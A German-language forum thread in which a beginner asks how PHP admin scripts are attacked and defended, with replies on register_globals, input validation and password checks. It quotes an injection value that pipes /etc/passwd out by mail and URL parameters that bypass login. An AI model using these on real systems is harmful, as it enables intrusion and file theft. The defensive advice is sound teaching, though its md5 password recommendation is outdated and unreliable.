Philip: Sicherheit von PHP Scripten

Hallo, Forum.

Nurmal so verweg: Ich hab im Archiv gesucht, aber nichts brauchbares gefunden!!!

So, nun zu meiner eigentlichen Frage: Ich programmiere derzeit einige PHP-Scripte (z.B. einen Adminbereich für eine Homepage) und wollte nun fragen, wie es mit der Sicherheit von solchen Scripten steht. Also etas konkreter: Wie man solche Scripte "hackt" und was man dagegen tun kann.
So hab ich z.B. gehört, dass, wenn man eine Eingabe (z.B. ein Passwort) einfach mit if($pwd == "Passwort")... checkt, umgehen kann... nun ist meine Frage a) wie hintergehe ich das und b) was tue ich dagegen...
Welche sonstigen potentiellen Sicherheitslücken gibt es in einem beliebigen Script?

Danke für die Hilfe,
Philip

  1. Holladiewaldfee,

    So hab ich z.B. gehört, dass, wenn man eine Eingabe (z.B. ein Passwort) einfach mit if($pwd == "Passwort")... checkt, umgehen kann... nun ist meine Frage a) wie hintergehe ich das und b) was tue ich dagegen...

    a) Quelltext anschaun und Passwort rauslesen.
    b) if(md5($pwd)=="schicker32bitmd5hash")

    Zum besseren Verständnis sei die Lektüre der PHP-Doku zu md5() zu empfehlen :-)

    Welche sonstigen potentiellen Sicherheitslücken gibt es in einem beliebigen Script?

    Alle ;-)

    Ciao,

    Harry

    --
      Man weiß erst was man hatte, wenn man es verloren hat.
      42? Eher sh:| fo:) ch:] rl:° br:& n4:° ie:% mo:) va:) de:[ zu:) fl:( ss:) ls:[ js:|
    1. Also danke schonmal für die ganzen Antworten...

      md5() verwende ich eh schon (danke trotzdem)
      das mit dem Variablen löschen werd ich mir merken, aber weshalb? Wenn ich im Script ne var definier überschreibt sie den Wert, die diese evtl. haben könnte, doch sowieso, oder?
      Wie soll diese überhaupt nen Wert bekommen, ausser, wenn ich via $_POST oder $_GET o.ä. drauf zugreife?

      Als ein Tipp: Du solltest unbedingt beachten, das alle Variablen die du im Script verwendest am Anfang des Scriptes zu löschen (natürlich ausgenommen derer, die du von aussen brauchst, z.b. Usereingaben). Den selben Effekt hat es wenn bei deiner PHP Version REGISTR_GLOBALS off ist. Das ist aber bei den meisten Providern nicht so, damit auch ältere Scripte lauffähig bleiben.

      von diesen Pipes wie du sie nennst hab ich auch schon gehört. Alber was geanau bringen sie? Weshalb sind sie "gefährlich"?

      Gibt es die Möglichkeit eine von mir definierte PHP Funktion von einem externen Server zu starten?

      Philip

      1. M.oin,

        kleines beispiel:

        if($passwort == "Hallo"){
        $eingeloggt = 1;
        }

        blablabla....

        if($eingeloggt == 1){
        echo "Du bist eingeloggt";
        }

        So, was passiert nun wen jemand dieses Script mit script.php?eingeloggt=1 aufruft...

        1. Ich kann mir vorstellen, was du meinst, aber $eingeloggt müsste doch dann $_GET['eingeloggt'] heißen, damit das funktioniert, oder?

          Philip

          1. Moin,

            genau dies wird durch REGISTER_GLOBALS geregelt. In alten PHP versionen waren diese per default auf on. Das heisst man brauchte dieses $_GET['eingeloggt'] nicht, sondern $eingeloggt hat automatisch den Wert aus der URL bekommen. Seit kurzem ist diese Option nun per default auf off kann aber immer noch in der php.ini verwändert werden. So gut wie alle provider haben nun dieses immer noch auf on, damit die veralteten Scripte der Kunden (ich habe auch noch ein paar solche laufen) trotzdem funktionieren und nicht plötzlich den Dienst einstellen. Wenn du nun das bei so einen Provider hostest und dich darauf verlässt das es ja $_GET['eingeloggt'] heissen muss kannst du die übelsten sicherheitslücken da rein basteln...

            Marc

            1. genau dies wird durch REGISTER_GLOBALS geregelt.

              Shit, stimmt. Ich bins nur von meinem Webserver auf meinem PC gwohnt, dass register_globals off ist. Ändern kann ich des nicht, oder?

              Gibt es eigentlich irgendeine Möglichkeit, dass PHP-Seiten NICHT angezeigt werden, falls der PHP-Interpreter ausgefallen ist?

              Und die letzten 2 Fragen auf [pref:t=43164&m=235950]? Was meint ihr dazu?

              Philip

              1. Hallo

                Shit, stimmt. Ich bins nur von meinem Webserver auf meinem PC gwohnt, dass register_globals off ist. Ändern kann ich des nicht, oder?

                Trage in deine php.ini
                register_globals = On;
                ein, wenn du das wirklich willst.. aber zu empfehlen ist es nicht!

                Gruss Michael

                1. Oh, war nicht klar genug, mein Fehler.

                  Ich habe keinen eigenen Webserver (zumindest keinen, der über Internet erreichbar wäre), meine Website wird stattdessen von HostEurope gehostet. Dort habe ich jedoch keinen Zugriff auf die php.ini. Ist es dennoch möglich irgendwie register_globals zu ändern?

                  Warum ist es nicht empfehlenswert (ausser, dass ältere Scripts nicht laufen)?

                  thx,
                  Philip

                  1. Hallo Philip,

                    eine Website wird stattdessen von HostEurope gehostet. Dort habe ich jedoch keinen Zugriff auf die php.ini. Ist es dennoch möglich irgendwie register_globals zu ändern?

                    Probiere mal eine .htaccess mit folgendem Inhalt:

                    php_flag register_globals off

                    Wenns nicht klappt, kannst Du immer noch Deinen Hoster darauf ansprechen, dass er es für Dich in seiner Konfiguration deaktivieren soll.

                    Warum ist es nicht empfehlenswert

                    Stimmt nicht. Es _ist_ empfehlenswert, dieses Teufelszeug[tm] zu deaktivieren, ich verweise da mal auf Sven: </archiv/2003/3/40235/#m220566>

                    Viele Grüße,
                    Christian

                    --
                    Hast Du einen Beitrag? Nur her damit!
                    http://aktuell.de.selfhtml.org/tippstricks/beitrag.htm
                    SELF-Code: (http://emmanuel.dammerer.at/selfcode.html)
                    sh:) fo:) ch:] rl:( br:> n4:& ie:% mo:) va:) de:] zu:) fl:( js:| ss:) ls:[
                    1. php_flag register_globals off

                      Danke, es funktioniert...

                      Stimmt nicht. Es _ist_ empfehlenswert, dieses Teufelszeug[tm] zu deaktivieren

                      Denk ich auch, deshalb hab ich nochmal nachgefragt (siehe Michaels Post...)

                      Philip

      2. Halihallo Philip

        Äm, bitte Antworte auf das Posting, worauf du antworten möchtest, oder schreibe
        wenigstens einen Namen hin und quote das, was schon gesagt wurde.

        von diesen Pipes wie du sie nennst hab ich auch schon gehört. Alber was geanau bringen sie? Weshalb sind sie "gefährlich"?

        Lies die von mir verlinkte Ressource, dort steht u. a.:

        nospam@fasel.com| mail bla@fasel.com < /etc/passwd

        also, wenn dies über $_POST['email'] eingelesen wird und an sendmail übergeben wird,
        wird sendmail gestartet, eine Pipe zu 'mail ...' geöffnet und dieser Befehl wird
        ausgeführt, sprich: Maile die Datei /etc/passwd an bla@fasel.com und nun kennt der
        Angreifer interne Daten des Systems (obgleich die in passwd gecrypted sind, aber
        schliesslich liesse sich so jede andere Datei aus dem System lesen).
        Ohne Überprüfung der Mailadresse hat der Angreifer Zugriff auf einige Dateien (er
        hat meistens kein root-Zugriff und deshalb auch nicht Zugriff auf alles, dennoch
        kann man damit schon ziemlich unfug anstellen). Ach ja, | mail..., da kannst du auch
        jeden anderen Befehl einschleusen!

        Gibt es die Möglichkeit eine von mir definierte PHP Funktion von einem externen Server zu starten?

        Nur, wenn du es willst.

        Viele Grüsse

        Philipp

        1. Hallo Philipp

          Sorry, wegen der Frage, aber ich hatte bis jetzt nicht wirklich die Zeit mir den gesamten Artikel durchzulesen, sondern nur zu überfliegen. Da hab ich wohl das Beispiel übersehen.

          Gibt es die Möglichkeit eine von mir definierte PHP Funktion von einem externen Server zu starten?

          Nur, wenn du es willst.

          Was soll das bedeuten?

          Philip

          1. Halihallo Philip

            Sorry, wegen der Frage, aber ich hatte bis jetzt nicht wirklich die Zeit mir den gesamten Artikel durchzulesen, sondern nur zu überfliegen. Da hab ich wohl das Beispiel übersehen.

            Du interessierst dich für die Sicherheit, also habe ich dich auf Lektüre verwiesen.
            Wir müssen hier ja nicht alles vorkauen, was schon irgendwo steht.

            Gibt es die Möglichkeit eine von mir definierte PHP Funktion von einem externen Server zu starten?
            Nur, wenn du es willst.
            Was soll das bedeuten?

            Dass du eine Schnittstelle definieren musst, dass du/man von Extern auf deine Funktionen
            zugreifen kann. Von alleine aus ist dies nicht möglich. Wenn du die Funktionen öffentlich
            zugänglich machen willst, musst _du_ dafür sorgen, dass dies geht. Von alleine geht's
            wie gesagt nicht.

            Viele Grüsse

            Philipp

  2. Hiho,

    das ist alles eine Frage von deinem können. In PHP an sich sind mir keine Sicherheitslücken bekannt. Diese entstehen erst beim schreiben von Scripten.
    Als ein Tipp: Du solltest unbedingt beachten, das alle Variablen die du im Script verwendest am Anfang des Scriptes zu löschen (natürlich ausgenommen derer, die du von aussen brauchst, z.b. Usereingaben). Den selben Effekt hat es wenn bei deiner PHP Version REGISTR_GLOBALS off ist. Das ist aber bei den meisten Providern nicht so, damit auch ältere Scripte lauffähig bleiben.
    Ansonsten dem User nicht trauen. Alle Eingaben aufs genauste testen (z.b. wenn du Zahlen erwartest auch sicherzustellen das Zahlen ankommen). Wenn du mit generierten Links arbeitest unbedingt sicherstellen, das die übermittelten Werte auch "möglich" sind.
    Bsp: Du generierst einen Link mit einem Usernamen und dann den Link auf den User Bereich. Dabei darfst du dich aber nicht darauf verlassen das sonst keiner da hin kommt, weil der Link so generiert wurde. Du musst immer damit rechnen, das jemand daran rummanipuliert. Deswegen jede Info die vom user kommt genaustens prüfen (passen Username und angegebenes Linkziel zusammen).
    Und ganz wichtig: In alle Verzeichnisse eine index.php (oder index.htm) rein machen!

    1. Moin!

      das ist alles eine Frage von deinem können. In PHP an sich sind mir keine Sicherheitslücken bekannt. Diese entstehen erst beim schreiben von Scripten.

      Falsch. Auch viele Versionen von PHP haben Sicherheitslücken. Mir am bekanntesten sind z.B. Probleme mit geposteten Dateien, die unter Umständen einen Angriff auf den PHP-Interpreter erlauben. Beispielsweise ist auch PHP Version 4.3.0 sicherheitsrelevant fehlerhaft, weshalb es relativ schnell 4.3.1 gab.

      Siehe auch http://www.php.net/ChangeLog-4.php

      - Sven Rautenberg

      --
      Signatur oder nicht Signatur - das ist hier die Frage!
    2. Hallo AllesMeins,

      Und ganz wichtig: In alle Verzeichnisse eine index.php (oder index.htm) rein machen!

      warum? ein "Options -Indexes" in der .htaccess des obersten Verzeichnises tut es auch...

      Grüße aus Nürnberg  <- Verabschiedung ist auch ganz nett
      Tobias

      --
      Selfcode: sh:( fo:) ch:? rl:( br:< n4:& ie:% mo:| va:) de:] zu:) fl:( ss:| ls:[ js:|
  3. Hi

    I)ch wüste nicht wie du das hintergehen willst, ohne "Passwort" einzugeben...

    Peter

  4. Halihallo Philip

    So, nun zu meiner eigentlichen Frage: Ich programmiere derzeit einige PHP-Scripte (z.B. einen Adminbereich für eine Homepage) und wollte nun fragen, wie es mit der Sicherheit von solchen Scripten steht. Also etas konkreter: Wie man solche Scripte "hackt" und was man dagegen tun kann.

    Naja, ein kurzer Einblick: http://www.xwolf.de/artikel/cgisec.shtml

    So hab ich z.B. gehört, dass, wenn man eine Eingabe (z.B. ein Passwort) einfach mit if($pwd == "Passwort")... checkt, umgehen kann... nun ist meine Frage a) wie hintergehe ich das und b) was tue ich dagegen...

    http://www.xwolf.de/artikel/php410.shtml

    Welche sonstigen potentiellen Sicherheitslücken gibt es in einem beliebigen Script?

    Allgemein kann man sicher nicht darauf antworten. Es gibt tausende Möglichkeiten, wie
    ein Script eben _nicht_ sein soll. Folgende Punkte sind einfach vorerst einmal wichtig:

    a) verwende _nur_ getestete Software, aktuelle Patches beachten!
    b) glaube niemals den Eingaben des Benutzers, überprüfe diese immer, ob sie Sinn machen,
       oder wohl etwas einfacher, ob sie es eben _nicht_ tun.
       (eg. Sonderzeichen in Namen? - Pipes '|' z. B.)

    Viele Grüsse

    Philipp

  5. Das hacken geht so:

    Im Quellcode (der Datei foobar.php) steht am Anfang

    if (password==="supermegapasswort") {
      passwordok=1;
    }
    if (passwordok===1) {
    ...
    }

    Der dumme Hacker versucht jetzt erstmal 10 Stunden lang
    foobar.php?password="hallo"
    foobar.php?password="test"
    foobar.php?password="pass"

    Der intelligente Hacker kennt das Script, weil es auf 10 anderen seiten auch läuft, wo er auf den Quellcode zugriff hat und weiß, dass man, egal, wie das Passwort lautet mittels

    foobar.php?passwordok=1

    hineinkommt. Und ich wette, wenn man alle Passwortscripte die so laufen, auf die Variablen password,passwordok,passwordcheckpassed usw. abklopft kommt man schneller zum Ziel als mit Passwort raten.

    Gegenmaßnahme: Script muss so lauten:
    passwordok=0;
    if (password==="supermegapasswort") {
      passwordok=1;
    }
    if (passwordok===1) {
    ...
    }